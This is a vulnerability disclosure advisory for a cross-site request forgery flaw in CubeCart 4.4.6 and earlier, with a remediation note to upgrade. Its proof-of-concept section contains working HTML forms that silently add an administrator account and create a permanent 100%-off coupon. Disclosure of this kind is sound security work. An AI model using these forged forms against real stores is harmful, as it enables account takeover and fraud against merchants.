CubeCart 4.4.6 and lower | Cross Site Request Forgery (CSRF) Vulnerability

1. OVERVIEW

CubeCart 4.4.6 and lower versions are vulnerable to Cross Site Request
Forgery (CSRF).


2. BACKGROUND

CubeCart is an "out of the box" ecommerce shopping cart software
solution which has been written to run on servers that have PHP &
MySQL support. With CubeCart you can quickly setup a powerful online
store which can be used to sell digital or tangible products to new
and existing customers all over the world.


3. VULNERABILITY DESCRIPTION

CubeCart 4.4.6 and and lower versions contain a flaw that allows a
remote Cross-site Request Forgery (CSRF / XSRF) attack. The flaw
exists because the application does not require multiple steps or
explicit confirmation for sensitive transactions for majority of
administrator functions such as adding new user, assigning user to
administrative privilege. By using a crafted URL, an attacker may
trick the victim into visiting to his web page to take advantage of
the trust relationship between the authenticated victim and the
application. Such an attack could trick the victim into executing
arbitrary commands in the context of their session with the
application, without further prompting or verification.


4. VERSIONS AFFECTED

4.4.6 and lower


5. Proof-of-Concept

////////////////////////////////////////////////////////////////////////////////////
Add Admin User
==================
<form action="http://localhost/admin.php?_g=adminusers/administrators"
method="POST" enctype="multipart/form-data">
<input type="hidden" name="name" value="hacker" />
<input type="hidden" name="adminUsername" value="hacker" />
<input type="hidden" name="email" value="hacker&#64;yehg&#46;net" />
<input type="hidden" name="adminPassword" value="h&#64;ck3er" />
<input type="hidden" name="adminPassword&#95;verify"
value="h&#64;ck3er" />
<input type="hidden" name="isSuper" value="&#45;" />
<input type="hidden" name="notes" value="&#13;" />
<input type="hidden" name="adminId" value="&#13;" />
<input type="hidden" name="Submit" value="Add&#32;User" />
<input type="submit" value="Submit form" />
</form>

Add Coupon
==============
<form action="http://localhost/admin.php?_g=products/coupons" method="POST">
<input type="hidden" name="code" value="HACKER" />
<input type="hidden" name="discount&#95;percent" value="100" />
<input type="hidden" name="discount&#95;price" value="" />
<input type="hidden" name="expires" value="3000&#47;12&#47;30" />
<input type="hidden" name="allowed&#95;uses" value="0" />
<input type="hidden" name="count" value="0" />
<input type="hidden" name="desc" value="0" />
<input type="hidden" name="id" value="" />
<input type="hidden" name="Submit" value="Edit&#32;Coupon" />
<input type="submit" value="Submit form" />
</form>
////////////////////////////////////////////////////////////////////////


6. SOLUTION

The CubeCart 4.x version family is no longer maintained by the vendor.
Upgrade to the currently supported latest CubeCart version - 5.x.


7. VENDOR

CubeCart Development Team
http://cubecart.com/


8. CREDIT

Aung Khant, http://yehg.net, YGN Ethical Hacker Group, Myanmar.


9. DISCLOSURE TIME-LINE

2012-12-22: CubeCart 4.x in End-of-Support/Maintenance circle
2012-12-24: Vulnerability disclosed


10. REFERENCES

Original Advisory URL:
http://yehg.net/lab/pr0js/advisories/%5Bcubecart_4.4.6%5D_csrf
CubeCart Home Page: http://cubecart.com/
CubeCart Bug-Fix Announcement:
http://forums.cubecart.com/topic/45456-cubecart-447-released/

#yehg [2012-12-24]

---------------------------------
Best regards,
YGN Ethical Hacker Group
Yangon, Myanmar
http://yehg.net
Our Lab | http://yehg.net/lab
Our Directory | http://yehg.net/hwd

Popular posts from this blog

CubeCart 3.0.20 (3.0.x) and lower | Multiple Cross Site Scripting Vulnerabilities

java.com | Arbitrary URL Redirect Vulnerability